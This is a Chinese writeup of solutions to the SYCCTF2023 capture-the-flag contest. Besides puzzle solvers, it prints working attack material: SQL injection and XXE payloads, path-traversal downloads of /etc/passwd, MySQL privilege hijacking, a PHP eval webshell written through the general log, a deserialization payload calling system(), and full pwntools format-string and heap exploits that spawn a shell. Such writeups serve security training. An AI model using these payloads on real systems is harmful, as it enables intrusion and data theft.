安洵杯SYCCTF2023 writeup

news2024/11/24 14:32:05

一、MISC

1.sudoku_easy

简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目

image-20230610185716309

将形如

---------------------

800103720

023840650

410006008

300001062

000052407

072060090

160000375

205019846

000030000

---------------------

转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式

def parse_input(input_list):

    board = []

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

    return board

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次

最终脚本:

def find_empty(board):

    for row in range(9):

        for col in range(9):

            if board[row][col] == 0:

                return row, col

    return None

def is_valid(board, num, pos):

    row, col = pos

    for i in range(9):

        if board[row][i] == num and col != i:

            return False

        if board[i][col] == num and row != i:

            return False

    box_row = row // 3

    box_col = col // 3

    for i in range(box_row * 3, box_row * 3 + 3):

        for j in range(box_col * 3, box_col * 3 + 3):

            if board[i][j] == num and (i, j) != pos:

                return False

    return True

def solve(board):

    find = find_empty(board)

    if not find:

        return True

    else:

        row, col = find

    for i in range(1, 10):

        if is_valid(board, i, (row, col)):

            board[row][col] = i

            if solve(board):

                return True

            board[row][col] = 0

    return False

def parse_input(input_list):

    board = []

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

    return board

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

# input_string = '''---------------------

# 800103720

# 023840650

# 410006008

# 300001062

# 000052407

# 072060090

# 160000375

# 205019846

# 000030000

# ---------------------

# now give me you solve:'''

# lists=input_string.split('\n')[1:10]

# board = parse_input(lists)

# print(board)

# solve(board)

# print(board)

from pwn import *

# 创建连接

conn = remote('47.108.165.60',27539)

# 接收欢迎信息

for i in range(7):

    msg = conn.recvuntil("Please input:").strip().decode("utf-8")

    print(msg)

    # 发送选择

    conn.sendline('1'.encode())

    # 接收下一步提示

    msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")

    print(msg)

    conn.sendline('5'.encode())

    msg = conn.recvuntil("clock start").strip().decode("utf-8")

    print(msg)

    time.sleep(5)

    msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")

    print(msg)

    lists = msg.split('\n')[1:10]

    board = parse_input(lists)

    solve(board)

    solved = format_output(board)

    conn.sendline(solved.encode())

conn.interactive()

或者

from pwn import *


def is_valid(board, row, col, num):
    # 检查行是否合法
    for i in range(9):
        if board[row][i] == num:
            return False

    # 检查列是否合法
    for i in range(9):
        if board[i][col] == num:
            return False

    # 检查小九宫格是否合法
    start_row = (row // 3) * 3
    start_col = (col // 3) * 3
    for i in range(3):
        for j in range(3):
            if board[start_row + i][start_col + j] == num:
                return False

    return True


def solve_sudoku(board):
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0  # 回溯
                return False  # 所有数字都尝试过,没有找到合适的数字
    return True


def print_sudoku(board):
    a = ''
    for row in range(9):
        for col in range(9):
            a += str(board[row][col])
        a+='\n'
    return a.strip()



context.log_level = 'debug'

p = remote('47.108.165.60',23479)

p.recv()

for i in range(7):
    p.sendline('1')

    p.recvuntil('Please select the level:')

    p.sendline('5')

    a = '---------------------\nnow give me you solve:'
    content = p.recvuntil(a).decode().split(a)[0][-130:]

    sudoku = content.split('---------------------')[1]

    sudoku = sudoku.strip()
    sudoku = sudoku.split('\n')
    tmp = []
    for sudo in sudoku:
        a = [int(s) for s in sudo]
        tmp.append(a)

    if solve_sudoku(tmp):
        result = print_sudoku(tmp)
        log.info(result)
        for line in result.split('\n'):
            p.send(line)
    #content = p.recv().decode()
p.interactive()

单独的数独解密脚本:
class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''
        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''
        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''
        if row in [0, 1, 2]:
            if column in [0, 1, 2]:
                key = 1
            elif column in [3, 4, 5]:
                key = 2
            else:
                key = 3
        elif row in [3, 4, 5]:
            if column in [0, 1, 2]:
                key = 4
            elif column in [3, 4, 5]:
                key = 5
            else:
                key = 6
        else:
            if column in [0, 1, 2]:
                key = 7
            elif column in [3, 4, 5]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''
        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独,初始化数据
        :return:
        '''
        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''

        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算,开始对数独进行放置值
        :param vacant_position:
        :return:
        '''
        # 得到当前位置
        row, column = vacant_position
        values = set(range(1, 10))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在,就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法,可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return False, None

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''
        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''
        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功,将value放在tried_values列表里面,因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''
        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本


##################################################
#  用来判断最后计算的数独是否合法,和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(0, 9):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(0, 9):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True


def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True


if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
    sudo1 = data.split('\n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))

image-20230610190212900

2.烦人的压缩包

打开压缩包要密码,爆破密码645321

jpg文件尾压缩包

image-20230610190322841

提取出来直接解压提示crc报错

修复压缩包的crc

解开后ook解密

https://www.splitbrain.org/services/ook

image-20230610193746752

3.sudoku_speedrun

小小升级版数独,telnet交互:

kali :: ~ 127 » telnet 47.108.165.60 37569

Trying 47.108.165.60...

Connected to 47.108.165.60.

Escape character is '^]'.

Ubuntu 22.04.2 LTS

Welcome to Play Sudoku Game!

Play(1)

Exit(2)

Please input

> 1

Tips:

R to replay

Q to exit

WASD to move

You have 10000ms to solve it :)

Please select the level

easy(5)

normal(6)

hard(7)

>5

image-20230610193910056

这次需要解出之后通过移动光标将数独还原

其实大差不差,这里主要几个点

题目用了 ANSI转义码,读取数据时会有大量的乱码,需要replace掉
response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')
这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度
def solve(input_string):
    original_board = parse_input(input_string)# 创建原始数组的副本
    board_copy = [row[:] for row in original_board]
    solution = solve_sudoku(original_board)
    # print(board_copy)
    # print(solution)
    lists=[]
    for i in range(9):
        for j in range(9):
            if board_copy[i][j] == 0:
                lists.append(str(solution[i][j]))
            if j != 8:
                lists.append('d')
        lists.extend('saaaaaaaa')
            # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")
    return lists
读取到形如

‘’’

-------------------------

| 4 3 0 | 0 0 6 | 2 0 0 |

| 8 0 0 | 0 7 0 | 0 0 3 |

| 2 0 7 | 0 5 0 | 1 4 6 |

-------------------------

| 0 0 0 | 0 0 0 | 0 7 5 |

| 7 5 0 | 8 0 0 | 6 2 0 |

| 0 2 9 | 7 3 5 | 0 1 0 |

-------------------------

| 5 6 0 | 4 0 3 | 0 9 0 |

| 0 0 2 | 5 0 0 | 8 0 0 |

| 3 0 1 | 0 8 2 | 0 6 4 |

-------------------------’’’

转二维数组

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

    return board

经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1

最终脚本:

import telnetlib

def solve_sudoku(board):

    if is_complete(board):

        return board

    row, col = find_empty_cell(board)

    for num in range(1, 10):

        if is_valid(board, row, col, num):

            board[row][col] = num

            if solve_sudoku(board):

                return board

            board[row][col] = 0

    return None

def is_complete(board):

    for row in board:

        if 0 in row:

            return False

    return True

def find_empty_cell(board):

    for i in range(9):

        for j in range(9):

            if board[i][j] == 0:

                return i, j

    return None, None

def is_valid(board, row, col, num):

    # Check row

    if num in board[row]:

        return False

    # Check column

    for i in range(9):

        if board[i][col] == num:

            return False

    # Check 3x3 box

    box_row = (row // 3) * 3

    box_col = (col // 3) * 3

    for i in range(box_row, box_row + 3):

        for j in range(box_col, box_col + 3):

            if board[i][j] == num:

                return False

    return True

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

    return board

def solve(input_string):

    original_board = parse_input(input_string)# 创建原始数组的副本

    board_copy = [row[:] for row in original_board]

    solution = solve_sudoku(original_board)

    # print(board_copy)

    # print(solution)

    lists = []

    for i in range(9):

        for j in range(9):

            if board_copy[i][j] == 0:

                lists.append(str(solution[i][j]))

            if j != 8:

                lists.append('d')

        lists.extend('saaaaaaaa')

            # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")

    return lists

tn = telnetlib.Telnet('47.108.165.60',36697)

welcome_msg = tn.read_until(b"Please input")

print(welcome_msg.decode("utf-8"))

# 发送返回值到服务器

tn.write("1".encode("utf-8") + b"\n")

msg = tn.read_until(b"hard(7)")

print(msg.decode("utf-8"))

tn.write("5".encode("utf-8") + b"\n")

msg = ''

for i in range(15):

    response = tn.read_until(b"\n")

    # print((response))

    response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

    msg += response.decode().strip('> 5')

tn.write(str(solve(msg)).encode("utf-8") + b"\n")

tn.interact()

或者脚本:

def solve_sudoku(puzzle):
    # 辅助函数:检查数字num是否可以放置在指定位置(row, col)
    def is_valid(num, row, col):
        # 检查行
        for i in range(9):
            if puzzle[row][i] == num:
                return False
        # 检查列
        for i in range(9):
            if puzzle[i][col] == num:
                return False
        # 检查3x3方格
        start_row = (row // 3) * 3
        start_col = (col // 3) * 3
        for i in range(3):
            for j in range(3):
                if puzzle[start_row + i][start_col + j] == num:
                    return False
        return True
    # 辅助函数:回溯求解数独
    def backtrack():
        for row in range(9):
            for col in range(9):
                if puzzle[row][col] == 0:  # 找到一个空格
                    for num in range(1, 10):  # 尝试数字1-9
                        if is_valid(num, row, col):
                            puzzle[row][col] = num  # 填入数字
                            if backtrack():  # 递归求解
                                return True
                            puzzle[row][col] = 0  # 回溯,撤销选择
                    return False
        return True
    # 将输入的字符串转换成二维列表
    puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]
    # 调用回溯函数求解数独
    if backtrack():
        # 将二维列表转换回字符串
        solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
        return solution
    else:
        return "No solution found."
# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)
from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
    for j in range(9):
        if(s[i*9+j] != '0'):
            flag += 'd'
        else:
            flag += solution[i*9+j]
            flag += 'd'
    flag = flag[:-1]
    flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)

4.cancellation

题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv

image-20230610200317154

结合file用Matroska打包猜测应该是mkv文件

image-20230610200410070

用mkvtool发现确实有多个音频轨道

image-20230610200535476

mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)

image-20230610201638810

轨道3可以读到一张图

image-20230610200931537

轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图

image-20230610201035296

在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图

image-20230610201214671

再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉)

import librosa

import soundfile as sf

import numpy as np

audio1, sr1 = librosa.load('2.wav', sr=None)

audio2, sr2 = librosa.load('3.wav', sr=None)

result =  2*audio1-audio2

sf.write('result.wav', result, sr1)

或者脚本:

from scipy.io import wavfile
import numpy as np
# 加载两个音频文件
rate1, audio1 = wavfile.read('output1.wav')
rate2, audio2 = wavfile.read('output2.wav')
# 确保两个音频的采样率相同,如果不同,进行重新采样
if rate1 != rate2:
    # 重新采样audio2为与audio1相同的采样率
    audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)
# 确保两个音频的长度相同,如果不同,进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]
# 音频相减
result = audio1 - audio2//2
# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)

image-20230610215510870

扫描的结果解base64得到图片

image-20230610202014820

拿到flag

二、web

1.go题目

注册用户登录进去

categories这里随便加一个

新建一个task 放到里面

然后在search那里注入,这里解释下为什么会这样

stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%') order by created_date desc"

这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。

select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc

然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。

1') union select 1,url,3,4,secretId ,secretKey from secret -- +
查询出来登录拿flag就行了。

2.CarelessPy

打开环境,可以发现有两个接口,一个是eval,另一个是login处

访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。

存在文件下载漏洞,构造Payload:

/download?file=../../../../../etc/passwd  下载成功

/download?file=../../../../../proc/1/environ 下载失败

构造去下载提示的start.sh

/download?file=../../../../../start.sh
得到文件内容,app目录下 存在 part.py文件。

继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc

或者/eval?cmd=app/__pycache__/

使用在线工具进行反编译,得到session的key

然后对session进行伪造

构造session去登录,获得路由

登录成功

一看就是XML注入

<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}

3.Confronting robot

方法一:

打开网页发现存在sql注入

直接sqlmap跑
payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump

得到路由/sEcR@t_n@Bodyknow.php
在该页面可以通过POST传入code直接执行Sql语句

使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限

解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。
把secret密码dump下来

首先修改root的密码,
payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';

查询是否修改成功

在继续把'root'@'127.0.0.1'修改成'secret'@'%'
payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';

然后把'secret'@'localhost'修改成任意名字即可
payload:rename user 'secret'@'localhost' to 'aaa'@'%';

最后直接读取game.php文件,获得flag

SYCTF{RObOt_r0B07_3599ec7eac28}

方法二:

参数myname存在SQL注入,SQLMAP直接跑

得到路由/sEcR@t_n@Bodyknow.php,该路由可以直接调用数据库执行SQL

看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期

SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>";

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

4.4号的罗纳尔多

一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。

<?php 
class evil{
    public $cmd;
    public $a;
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);

三、Pwn

1.harde_pwn

第一步:溢出seed为固定值,这样的话就变成了伪随机。
第二步:用格式化字符串漏洞泄露libc和程序基地址。
第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。
第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。
第五步:get shell。

POC:

from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def duan():
 gdb.attach(p)
 pause()
rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
p.recvuntil('game!\n')
payload = b'a'*(0x20-0x4)+p32(0)
p.send(payload)
for i in range(21):
 p.sendlineafter('input: \n',str(rand[i]))
 p.recvuntil('Success!\n')
p.recvuntil('ata ;)\n')
payload = 'aaaa%3$pbbbb%15$p'
p.send(payload)
p.recvuntil('aaaa')
libc_base = int(p.recv(14),16)-1132946
p.recvuntil('bbbb')
stack = int(p.recv(14),16)
print('stack-->'+hex(stack))
print('libc_base-->'+hex(libc_base))
temp = stack-320+0x20
temp = str(hex(temp)[-4:])
print('temp-->'+temp)
payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]
payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
payload = 'aaaa%13$p\x00'
p.send(payload)
p.recvuntil('aaaa')
pie = int(p.recv(14),16)-0x1502
print('pie-->'+hex(pie))
print('shell-->'+hex(shell))
gongji = pie+0x1366
temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])
payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')
payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')
p.interactive()

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./harde_pwn'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

    gdb_text='''

      b printf

      '''

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',47183)

      gdb_open=0

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

    io.recvuntil('elcome to a ctype game!\n')

    io.send('\x00'*0x20)

    for i in range(21):

      io.recvuntil(': \n')

      io.sendline(str((clibc.rand() ^ 0x24) + 1))

    io.recv()

    io.send('%31$p')

    io.recvuntil('0x')

    libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

    io.send('%15$p\x00')

    io.recvuntil('0x')

    stack=int(io.recv(12),16)-0x38-0xe8

    io.recv()

    pay='%'+str(stack&0xffff)+'c%15$hn'

    io.send(pay+'\x00')

    def go(a):

      io.sendafter('input your data ;)\n',a+'\x00')

    def fmt(addr,value):

      pay='%'+str(addr&0xffff)+'c%15$hn'

      go(pay)

      off_1=(value)&0xff

      if value==0:

        go('%45$hhn')

      else:

        go('%'+str(off_1)+'c%45$hhn')

      for i in range(5):

        pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'

        go(pay)

        off_1=(value>>((i+1)*8))&0xff

        if value==0:

          go('%45$hhn')

        else:

          go('%'+str(off_1)+'c%45$hhn')

    fmt(stack,pop_rdi_ret)

    fmt(stack+0x8,bin_sh_addr)

    fmt(stack+0x10,pop_rsi_ret)

    fmt(stack+0x18,0)

    fmt(stack+0x20,pop_rsi_ret+1)

    fmt(stack+0x28,system_addr)

    pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'

    go(pay)

    gdb_attach(io,gdb_text)

    go('%'+str(0xae)+'c%45$hhn')

    success('libc_base:'+hex(libc_base))

    success('stack:'+hex(stack))

    # success('heap_base:'+hex(heap_base))

    io.interactive()

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

4.pwnpwn

代码审计

main()

sub_C60()

该函数利用4个rand()%10,让我们猜4个数字

add()

off by null漏洞

思路

利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell

exp:

from pwn import*
from ctypes import *

context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary('./libc-so.6')

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""

def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.108.165.60",30770)
    elf = ELF(name)

def add(idx,size,content):
    p.sendlineafter("root@$",'1')
    p.sendlineafter("give me your index:",str(idx))
    p.sendlineafter("give me your size:",str(size))
    p.sendafter("give me your content:",content)

def edit(idx,content):
    p.sendlineafter("root@$",'3')
